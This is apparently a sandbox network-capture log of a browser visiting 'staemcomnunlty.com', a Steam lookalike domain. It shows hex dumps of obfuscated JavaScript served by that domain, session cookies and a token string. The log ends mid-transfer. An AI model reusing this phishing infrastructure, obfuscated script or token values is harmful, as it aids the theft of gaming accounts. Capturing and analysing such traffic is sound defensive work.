token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
2025-01-14 00:08:46 UTC	1298	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 00:08:46 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Fri, 10 Jan 2025 14:35:22 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: MISS Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O%2BZZprIqwA20eY4K6zmr3K7IDTs7npXsguX%2BryltZM0tB0eKnZSsahfWl9mVORqNO2Xl6t85GQUtuobGmgumPKFnrw9NRZEZ9rxIpaShco4t0xY71jlnxqIOm52CN6tadJuC4Jg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901964b65bf37ce4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1821&min_rtt=1818&rtt_var=688&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1630&delivery_rate=1584373&cwnd=228&unsent_bytes=0&cid=927b24238b00c588&ts=429&x=0"
2025-01-14 00:08:46 UTC	71	IN	Data Raw: 37 62 36 35 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 35 64 39 28 5f 30 78 31 33 39 39 38 64 2c 5f 30 78 36 63 65 38 32 66 29 7b 63 6f 6e 73 74 20 5f 30 78 33 65 63 32 37 34 3d 5f 30 78 33 65 63 32 28 29 3b 72 Data Ascii: 7b65function _0x55d9(_0x13998d,_0x6ce82f){const _0x3ec274=_0x3ec2();r
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 65 74 75 72 6e 20 5f 30 78 35 35 64 39 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 35 64 39 64 35 2c 5f 30 78 31 66 38 65 31 32 29 7b 5f 30 78 35 35 64 39 64 35 3d 5f 30 78 35 35 64 39 64 35 2d 30 78 31 34 61 3b 6c 65 74 20 5f 30 78 31 34 38 35 39 65 3d 5f 30 78 33 65 63 32 37 34 5b 5f 30 78 35 35 64 39 64 35 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 34 38 35 39 65 3b 7d 2c 5f 30 78 35 35 64 39 28 5f 30 78 31 33 39 39 38 64 2c 5f 30 78 36 63 65 38 32 66 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 30 64 35 30 65 2c 5f 30 78 35 32 34 35 34 66 29 7b 63 6f 6e 73 74 20 5f 30 78 34 33 32 36 65 66 3d 5f 30 78 35 35 64 39 2c 5f 30 78 34 37 63 31 34 39 3d 5f 30 78 35 30 64 35 30 65 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 6f 6e 73 74 20 5f 30 Data Ascii: eturn _0x55d9=function(_0x55d9d5,_0x1f8e12){_0x55d9d5=_0x55d9d5-0x14a;let _0x14859e=_0x3ec274[_0x55d9d5];return _0x14859e;},_0x55d9(_0x13998d,_0x6ce82f);}(function(_0x50d50e,_0x52454f){const _0x4326ef=_0x55d9,_0x47c149=_0x50d50e();while(!![]){try{const _0
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 30 78 34 31 31 38 39 66 2c 5f 30 78 37 39 36 39 65 39 29 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 61 61 34 63 31 3d 5f 30 78 32 32 62 36 66 35 3b 66 6f 72 28 76 61 72 20 5f 30 78 34 35 32 66 31 31 20 69 6e 20 5f 30 78 37 39 36 39 65 39 7c 7c 28 5f 30 78 37 39 36 39 65 39 3d 7b 7d 29 29 5f 30 78 32 62 64 34 37 38 5b 27 63 61 6c 6c 27 5d 28 5f 30 78 37 39 36 39 65 39 2c 5f 30 78 34 35 32 66 31 31 29 26 26 5f 30 78 34 39 65 66 63 38 28 5f 30 78 34 31 31 38 39 66 2c 5f 30 78 34 35 32 66 31 31 2c 5f 30 78 37 39 36 39 65 39 5b 5f 30 78 34 35 32 66 31 31 5d 29 3b 69 66 28 5f 30 78 35 38 63 32 66 31 29 7b 66 6f 72 28 76 61 72 20 5f 30 78 34 35 32 66 31 31 20 6f 66 20 5f 30 78 35 38 63 32 66 31 28 5f 30 78 37 39 36 39 65 39 29 29 5f 30 78 32 30 65 32 65 36 5b 5f 30 Data Ascii: 0x41189f,_0x7969e9)=>{const _0x1aa4c1=_0x22b6f5;for(var _0x452f11 in _0x7969e9\|\|(_0x7969e9={}))_0x2bd478['call'](_0x7969e9,_0x452f11)&&_0x49efc8(_0x41189f,_0x452f11,_0x7969e9[_0x452f11]);if(_0x58c2f1){for(var _0x452f11 of _0x58c2f1(_0x7969e9))_0x20e2e6[_0
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 65 39 61 65 33 5b 5f 30 78 34 65 66 39 36 32 28 30 78 31 61 36 29 5d 3d 5f 30 78 34 32 32 33 31 33 28 29 3a 5f 30 78 31 30 37 63 30 36 5b 27 67 65 74 53 69 7a 65 27 5d 3d 5f 30 78 34 32 32 33 31 33 28 29 3b 7d 28 77 69 6e 64 6f 77 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 33 61 31 64 61 33 3d 5f 30 78 35 35 64 39 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 39 63 63 39 39 28 5f 30 78 61 62 30 34 39 37 29 7b 63 6f 6e 73 74 20 5f 30 78 35 64 32 64 62 61 3d 5f 30 78 35 35 64 39 3b 6c 65 74 20 5f 30 78 32 33 62 61 65 38 3d 70 61 72 73 65 46 6c 6f 61 74 28 5f 30 78 61 62 30 34 39 37 29 3b 72 65 74 75 72 6e 20 5f 30 78 61 62 30 34 39 37 5b 5f 30 78 35 64 32 64 62 61 28 30 78 32 37 33 29 5d 28 27 25 27 29 3d 3d 2d 30 78 31 26 26 21 69 73 4e 61 Data Ascii: e9ae3[_0x4ef962(0x1a6)]=_0x422313():_0x107c06['getSize']=_0x422313();}(window,function(){const _0x3a1da3=_0x55d9;function _0x19cc99(_0xab0497){const _0x5d2dba=_0x55d9;let _0x23bae8=parseFloat(_0xab0497);return _0xab0497[_0x5d2dba(0x273)]('%')==-0x1&&!isNa
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 64 66 39 3d 70 61 72 73 65 46 6c 6f 61 74 28 5f 30 78 35 63 33 63 63 66 29 3b 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 34 63 32 63 33 37 5d 3d 69 73 4e 61 4e 28 5f 30 78 33 34 33 64 66 39 29 3f 30 78 30 3a 5f 30 78 33 34 33 64 66 39 3b 7d 29 3b 6c 65 74 20 5f 30 78 34 32 37 66 66 32 3d 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 31 61 61 29 5d 2b 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 32 32 33 29 5d 2c 5f 30 78 32 38 31 36 37 66 3d 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 31 64 37 29 5d 2b 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 31 36 32 29 5d 2c 5f 30 78 35 62 64 36 37 39 3d 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 32 32 31 29 5d 2b Data Ascii: df9=parseFloat(_0x5c3ccf);_0xaf22fb[_0x4c2c37]=isNaN(_0x343df9)?0x0:_0x343df9;});let _0x427ff2=_0xaf22fb[_0xf2cf21(0x1aa)]+_0xaf22fb[_0xf2cf21(0x223)],_0x28167f=_0xaf22fb[_0xf2cf21(0x1d7)]+_0xaf22fb[_0xf2cf21(0x162)],_0x5bd679=_0xaf22fb[_0xf2cf21(0x221)]+
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 62 39 3d 5f 30 78 35 35 64 39 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 36 66 61 62 38 30 28 29 7b 7d 6c 65 74 20 5f 30 78 34 35 39 34 35 66 3d 5f 30 78 36 66 61 62 38 30 5b 5f 30 78 31 36 62 33 62 39 28 30 78 31 37 62 29 5d 3b 72 65 74 75 72 6e 20 5f 30 78 34 35 39 34 35 66 5b 27 6f 6e 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 65 64 38 34 32 63 2c 5f 30 78 35 30 31 32 38 33 29 7b 63 6f 6e 73 74 20 5f 30 78 34 31 64 38 30 61 3d 5f 30 78 31 36 62 33 62 39 3b 69 66 28 21 5f 30 78 65 64 38 34 32 63 7c 7c 21 5f 30 78 35 30 31 32 38 33 29 72 65 74 75 72 6e 20 74 68 69 73 3b 6c 65 74 20 5f 30 78 33 65 61 61 63 30 3d 74 68 69 73 5b 5f 30 78 34 31 64 38 30 61 28 30 78 31 39 61 29 5d 3d 74 68 69 73 5b 27 5f 65 76 65 6e 74 73 27 5d 7c 7c 7b 7d 2c 5f 30 78 34 66 35 Data Ascii: b9=_0x55d9;function _0x6fab80(){}let _0x45945f=_0x6fab80[_0x16b3b9(0x17b)];return _0x45945f['on']=function(_0xed842c,_0x501283){const _0x41d80a=_0x16b3b9;if(!_0xed842c\|\|!_0x501283)return this;let _0x3eaac0=this[_0x41d80a(0x19a)]=this['_events']\|\|{},_0x4f5
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 28 6c 65 74 20 5f 30 78 33 33 35 66 38 33 20 6f 66 20 5f 30 78 63 65 36 34 62 31 29 5f 30 78 34 39 36 34 34 39 26 26 5f 30 78 34 39 36 34 34 39 5b 5f 30 78 33 33 35 66 38 33 5d 26 26 28 74 68 69 73 5b 5f 30 78 33 65 36 35 39 31 28 30 78 31 62 33 29 5d 28 5f 30 78 33 30 64 62 31 33 2c 5f 30 78 33 33 35 66 38 33 29 2c 64 65 6c 65 74 65 20 5f 30 78 34 39 36 34 34 39 5b 5f 30 78 33 33 35 66 38 33 5d 29 2c 5f 30 78 33 33 35 66 38 33 5b 5f 30 78 33 65 36 35 39 31 28 30 78 31 39 31 29 5d 28 74 68 69 73 2c 5f 30 78 39 38 64 32 36 65 29 3b 72 65 74 75 72 6e 20 74 68 69 73 3b 7d 2c 5f 30 78 34 35 39 34 35 66 5b 5f 30 78 31 36 62 33 62 39 28 30 78 32 32 36 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 34 33 61 66 33 62 3d 5f 30 78 31 36 62 33 Data Ascii: (let _0x335f83 of _0xce64b1)_0x496449&&_0x496449[_0x335f83]&&(this[_0x3e6591(0x1b3)](_0x30db13,_0x335f83),delete _0x496449[_0x335f83]),_0x335f83[_0x3e6591(0x191)](this,_0x98d26e);return this;},_0x45945f[_0x16b3b9(0x226)]=function(){const _0x43af3b=_0x16b3
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 38 34 32 62 32 28 30 78 31 63 31 29 2c 5f 30 78 34 65 65 65 62 62 5b 27 62 69 6e 64 48 61 6e 64 6c 65 73 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 31 37 36 38 61 38 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 5f 30 78 31 37 36 38 61 38 28 30 78 32 33 37 29 5d 28 5f 30 78 31 37 36 38 61 38 28 30 78 31 37 31 29 2c 74 68 69 73 5b 5f 30 78 31 37 36 38 61 38 28 30 78 31 38 30 29 5d 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 32 35 62 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 64 34 37 30 62 38 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 5f 30 78 64 34 37 30 62 38 28 30 78 32 33 37 29 5d 28 27 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 27 2c 27 27 29 3b Data Ascii: 842b2(0x1c1),_0x4eeebb['bindHandles']=function(){const _0x1768a8=_0x5842b2;this[_0x1768a8(0x237)](_0x1768a8(0x171),this[_0x1768a8(0x180)]);},_0x4eeebb[_0x5842b2(0x25b)]=function(){const _0xd470b8=_0x5842b2;this[_0xd470b8(0x237)]('removeEventListener','');
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 34 36 61 5d 28 5f 30 78 37 36 33 37 33 63 2c 5f 30 78 31 30 31 32 32 30 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 32 35 63 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 31 63 62 39 37 29 7b 74 68 69 73 5b 27 70 6f 69 6e 74 65 72 44 6f 77 6e 27 5d 28 5f 30 78 32 31 63 62 39 37 2c 5f 30 78 32 31 63 62 39 37 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 31 65 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 32 30 64 33 66 65 29 7b 63 6f 6e 73 74 20 5f 30 78 35 65 32 65 32 37 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 27 70 6f 69 6e 74 65 72 44 6f 77 6e 27 5d 28 5f 30 78 32 30 64 33 66 65 2c 5f 30 78 32 30 64 33 66 65 5b 5f 30 78 35 65 32 65 32 37 28 30 78 31 38 36 29 5d 5b 30 78 30 5d Data Ascii: 46a](_0x76373c,_0x101220);},_0x4eeebb[_0x5842b2(0x25c)]=function(_0x21cb97){this['pointerDown'](_0x21cb97,_0x21cb97);},_0x4eeebb[_0x5842b2(0x1e8)]=function(_0x20d3fe){const _0x5e2e27=_0x5842b2;this['pointerDown'](_0x20d3fe,_0x20d3fe[_0x5e2e27(0x186)][0x0]
2025-01-14 00:08:46 UTC	1369	IN	Data Raw: 62 33 28 30 78 31 38 64 29 5d 28 5f 30 78 33 31 64 35 62 33 28 30 78 31 38 38 29 2c 5f 30 78 33 32 32 61 65 38 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 5f 30 78 35 38 34 32 62 32 28 30 78 31 39 37 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 31 62 35 65 38 35 29 7b 63 6f 6e 73 74 20 5f 30 78 33 38 31 61 36 63 3d 5f 30 78 35 38 34 32 62 32 3b 74 68 69 73 5b 5f 30 78 33 38 31 61 36 63 28 30 78 32 31 33 29 5d 28 27 70 6f 69 6e 74 65 72 4d 6f 76 65 27 2c 5f 30 78 31 62 35 65 38 35 29 3b 7d 2c 5f 30 78 34 65 65 65 62 62 5b 27 70 6f 69 6e 74 65 72 4d 6f 76 65 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 33 32 63 61 66 32 2c 5f 30 78 34 36 34 35 66 36 29 7b 63 6f 6e 73 74 20 5f 30 78 32 35 61 37 32 63 3d 5f 30 78 35 38 34 32 62 32 3b 6c 65 74 20 5f 30 78 34 35 Data Ascii: b3(0x18d)](_0x31d5b3(0x188),_0x322ae8);},_0x4eeebb[_0x5842b2(0x197)]=function(_0x1b5e85){const _0x381a6c=_0x5842b2;this[_0x381a6c(0x213)]('pointerMove',_0x1b5e85);},_0x4eeebb['pointerMove']=function(_0x32caf2,_0x4645f6){const _0x25a72c=_0x5842b2;let _0x45

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:46 UTC	607	OUT	GET /public/shared/images/header/logo_steam.svg?t=962016 HTTP/1.1 Host: community.akamai.steamstatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 00:08:46 UTC	241	IN	HTTP/1.1 200 OK Server: nginx Content-Type: image/svg+xml Last-Modified: Fri, 22 Nov 2024 18:31:38 GMT ETag: "6740ce0a-e3e" Access-Control-Allow-Origin: * Date: Tue, 14 Jan 2025 00:08:46 GMT Content-Length: 3646 Connection: close
2025-01-14 00:08:46 UTC	3646	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0a 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 41 64 6f 62 65 20 49 6c 6c 75 73 74 72 61 74 6f 72 20 31 36 2e 30 2e 30 2c 20 53 56 47 20 45 78 70 6f 72 74 20 50 6c 75 67 2d 49 6e 20 2e 20 53 56 47 20 56 65 72 73 69 6f 6e 3a 20 36 2e 30 30 20 42 75 69 6c 64 20 30 29 20 20 2d 2d 3e 0a 3c 21 44 4f 43 54 59 50 45 20 73 76 67 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 53 56 47 20 31 2e 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 47 72 61 70 68 69 63 73 2f 53 56 47 2f 31 2e 31 2f 44 54 44 2f 73 76 67 31 31 2e 64 74 64 22 3e 0a 3c 73 76 67 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 69 64 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?>... Generator: Adobe Illustrator 16.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0) --><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg version="1.1" id=

Timestamp	Bytes transferred	Direction	Data
2025-01-14 00:08:46 UTC	911	OUT	GET /721a76577b085b5f0a000149.js HTTP/1.1 Host: staemcomnunlty.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: session=eyJhbGciOiJBMTI4S1ciLCJlbmMiOiJBMTI4R0NNIn0.xao6QlBq4UK-laWGMrPrrDi9MY676ZTN.r9CXaVjkMY_uu7s-.D1VcsAX3nKhHwFn6Ri3Rn5GlZSwvg6aC1BBwGPSnrRtZBVK3Qzf76FYTWwUfOGu4WzZJ6dS2DqxmluALwkfahDJRWxboEsp5MOG9ccWRXrUM9xNfKE7FznY4E1VLwUGv22XNEt8BNrO4bojXzT_mkGtnY7MoEyBDGMaVaxOsE7gKhWSlV4ya-4g4TPaj0LOeBDdxa6Gzr0TIOOoG0bkLuJWRJH3-DukxVblRyAPNyC4.YmHPQcYDz85jZaX1F_c_wQ; token=eyJhbGciOiJIUzI1NiJ9.eyJvd25lciI6OTIsInNlY3JldCI6IjZjODY2OTg2ZGRkMWQ3OWUzMTdiMzIwYzlmODg2Mzk2Iiwic2VydmljZSI6IlN0ZWFtIn0.zSHHi3Tdm8ZaaxU7XdNGhslTXYI_KghDPVspFzgwUiM
2025-01-14 00:08:47 UTC	1305	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 00:08:46 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Content-Disposition: inline Cross-Origin-Opener-Policy: same-origin Cross-Origin-Resource-Policy: same-origin Last-Modified: Fri, 10 Jan 2025 14:35:22 GMT Origin-Agent-Cluster: ?1 Referrer-Policy: no-referrer Strict-Transport-Security: max-age=15552000; includeSubDomains Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Dns-Prefetch-Control: off X-Download-Options: noopen X-Frame-Options: SAMEORIGIN X-Permitted-Cross-Domain-Policies: none X-Xss-Protection: 0 Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 0 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bSitLhCVvGRj35NXULjLWfZIlhK3u%2FPF1EY7e45kVy9oeiEd0ohfEQC03sKZhU29Rl68T35lBOcOOVZNw%2BVrYN1KUgLmimTLTjAWTariPR3njl4IxXDcgf0DKCEd5o7PpO4RIqs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901964bd8c9c42bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1832&min_rtt=1779&rtt_var=705&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=1489&delivery_rate=1641371&cwnd=193&unsent_bytes=0&cid=2a823b2184892cb5&ts=160&x=0"
2025-01-14 00:08:47 UTC	64	IN	Data Raw: 37 62 35 65 0d 0a 66 75 6e 63 74 69 6f 6e 20 5f 30 78 35 35 64 39 28 5f 30 78 31 33 39 39 38 64 2c 5f 30 78 36 63 65 38 32 66 29 7b 63 6f 6e 73 74 20 5f 30 78 33 65 63 32 37 34 3d 5f 30 78 33 Data Ascii: 7b5efunction _0x55d9(_0x13998d,_0x6ce82f){const _0x3ec274=_0x3
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 65 63 32 28 29 3b 72 65 74 75 72 6e 20 5f 30 78 35 35 64 39 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 35 64 39 64 35 2c 5f 30 78 31 66 38 65 31 32 29 7b 5f 30 78 35 35 64 39 64 35 3d 5f 30 78 35 35 64 39 64 35 2d 30 78 31 34 61 3b 6c 65 74 20 5f 30 78 31 34 38 35 39 65 3d 5f 30 78 33 65 63 32 37 34 5b 5f 30 78 35 35 64 39 64 35 5d 3b 72 65 74 75 72 6e 20 5f 30 78 31 34 38 35 39 65 3b 7d 2c 5f 30 78 35 35 64 39 28 5f 30 78 31 33 39 39 38 64 2c 5f 30 78 36 63 65 38 32 66 29 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 5f 30 78 35 30 64 35 30 65 2c 5f 30 78 35 32 34 35 34 66 29 7b 63 6f 6e 73 74 20 5f 30 78 34 33 32 36 65 66 3d 5f 30 78 35 35 64 39 2c 5f 30 78 34 37 63 31 34 39 3d 5f 30 78 35 30 64 35 30 65 28 29 3b 77 68 69 6c 65 28 21 21 5b 5d 29 7b 74 72 79 7b 63 Data Ascii: ec2();return _0x55d9=function(_0x55d9d5,_0x1f8e12){_0x55d9d5=_0x55d9d5-0x14a;let _0x14859e=_0x3ec274[_0x55d9d5];return _0x14859e;},_0x55d9(_0x13998d,_0x6ce82f);}(function(_0x50d50e,_0x52454f){const _0x4326ef=_0x55d9,_0x47c149=_0x50d50e();while(!![]){try{c
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 63 38 63 33 3d 28 5f 30 78 34 31 31 38 39 66 2c 5f 30 78 37 39 36 39 65 39 29 3d 3e 7b 63 6f 6e 73 74 20 5f 30 78 31 61 61 34 63 31 3d 5f 30 78 32 32 62 36 66 35 3b 66 6f 72 28 76 61 72 20 5f 30 78 34 35 32 66 31 31 20 69 6e 20 5f 30 78 37 39 36 39 65 39 7c 7c 28 5f 30 78 37 39 36 39 65 39 3d 7b 7d 29 29 5f 30 78 32 62 64 34 37 38 5b 27 63 61 6c 6c 27 5d 28 5f 30 78 37 39 36 39 65 39 2c 5f 30 78 34 35 32 66 31 31 29 26 26 5f 30 78 34 39 65 66 63 38 28 5f 30 78 34 31 31 38 39 66 2c 5f 30 78 34 35 32 66 31 31 2c 5f 30 78 37 39 36 39 65 39 5b 5f 30 78 34 35 32 66 31 31 5d 29 3b 69 66 28 5f 30 78 35 38 63 32 66 31 29 7b 66 6f 72 28 76 61 72 20 5f 30 78 34 35 32 66 31 31 20 6f 66 20 5f 30 78 35 38 63 32 66 31 28 5f 30 78 37 39 36 39 65 39 29 29 5f 30 78 32 30 Data Ascii: c8c3=(_0x41189f,_0x7969e9)=>{const _0x1aa4c1=_0x22b6f5;for(var _0x452f11 in _0x7969e9\|\|(_0x7969e9={}))_0x2bd478['call'](_0x7969e9,_0x452f11)&&_0x49efc8(_0x41189f,_0x452f11,_0x7969e9[_0x452f11]);if(_0x58c2f1){for(var _0x452f11 of _0x58c2f1(_0x7969e9))_0x20
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 29 5d 3f 5f 30 78 35 65 39 61 65 33 5b 5f 30 78 34 65 66 39 36 32 28 30 78 31 61 36 29 5d 3d 5f 30 78 34 32 32 33 31 33 28 29 3a 5f 30 78 31 30 37 63 30 36 5b 27 67 65 74 53 69 7a 65 27 5d 3d 5f 30 78 34 32 32 33 31 33 28 29 3b 7d 28 77 69 6e 64 6f 77 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 74 20 5f 30 78 33 61 31 64 61 33 3d 5f 30 78 35 35 64 39 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 31 39 63 63 39 39 28 5f 30 78 61 62 30 34 39 37 29 7b 63 6f 6e 73 74 20 5f 30 78 35 64 32 64 62 61 3d 5f 30 78 35 35 64 39 3b 6c 65 74 20 5f 30 78 32 33 62 61 65 38 3d 70 61 72 73 65 46 6c 6f 61 74 28 5f 30 78 61 62 30 34 39 37 29 3b 72 65 74 75 72 6e 20 5f 30 78 61 62 30 34 39 37 5b 5f 30 78 35 64 32 64 62 61 28 30 78 32 37 33 29 5d 28 27 25 27 29 3d 3d 2d 30 78 31 Data Ascii: )]?_0x5e9ae3[_0x4ef962(0x1a6)]=_0x422313():_0x107c06['getSize']=_0x422313();}(window,function(){const _0x3a1da3=_0x55d9;function _0x19cc99(_0xab0497){const _0x5d2dba=_0x55d9;let _0x23bae8=parseFloat(_0xab0497);return _0xab0497[_0x5d2dba(0x273)]('%')==-0x1
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 2c 5f 30 78 33 34 33 64 66 39 3d 70 61 72 73 65 46 6c 6f 61 74 28 5f 30 78 35 63 33 63 63 66 29 3b 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 34 63 32 63 33 37 5d 3d 69 73 4e 61 4e 28 5f 30 78 33 34 33 64 66 39 29 3f 30 78 30 3a 5f 30 78 33 34 33 64 66 39 3b 7d 29 3b 6c 65 74 20 5f 30 78 34 32 37 66 66 32 3d 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 31 61 61 29 5d 2b 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 32 32 33 29 5d 2c 5f 30 78 32 38 31 36 37 66 3d 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 31 64 37 29 5d 2b 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 78 31 36 32 29 5d 2c 5f 30 78 35 62 64 36 37 39 3d 5f 30 78 61 66 32 32 66 62 5b 5f 30 78 66 32 63 66 32 31 28 30 Data Ascii: ,_0x343df9=parseFloat(_0x5c3ccf);_0xaf22fb[_0x4c2c37]=isNaN(_0x343df9)?0x0:_0x343df9;});let _0x427ff2=_0xaf22fb[_0xf2cf21(0x1aa)]+_0xaf22fb[_0xf2cf21(0x223)],_0x28167f=_0xaf22fb[_0xf2cf21(0x1d7)]+_0xaf22fb[_0xf2cf21(0x162)],_0x5bd679=_0xaf22fb[_0xf2cf21(0
2025-01-14 00:08:47 UTC	1369	IN	Data Raw: 5f 30 78 31 36 62 33 62 39 3d 5f 30 78 35 35 64 39 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 36 66 61 62 38 30 28 29 7b 7d 6c 65 74 20 5f 30 78 34 35 39 34 35 66 3d 5f 30 78 36 66 61 62 38 30 5b 5f 30 78 31 36 62 33 62 39 28 30 78 31 37 62 29 5d 3b 72 65 74 75 72 6e 20 5f 30 78 34 35 39 34 35 66 5b 27 6f 6e 27 5d 3d 66 75 6e 63 74 69 6f 6e 28 5f 30 78 65 64 38 34 32 63 2c 5f 30 78 35 30 31 32 38 33 29 7b 63 6f 6e 73 74 20 5f 30 78 34 31 64 38 30 61 3d 5f 30 78 31 36 62 33 62 39 3b 69 66 28 21 5f 30 78 65 64 38 34 32 63 7c 7c 21 5f 30 78 35 30 31 32 38 33 29 72 65 74 75 72 6e 20 74 68 69 73 3b 6c 65 74 20 5f 30 78 33 65 61 61 63 30 3d 74 68 69 73 5b 5f 30 78 34 31 64 38 30 61 28 30 78 31 39 61 29 5d 3d 74 68 69 73 5b 27 5f 65 76 65 6e 74 73 27 5d 7c 7c 7b 7d Data Ascii: 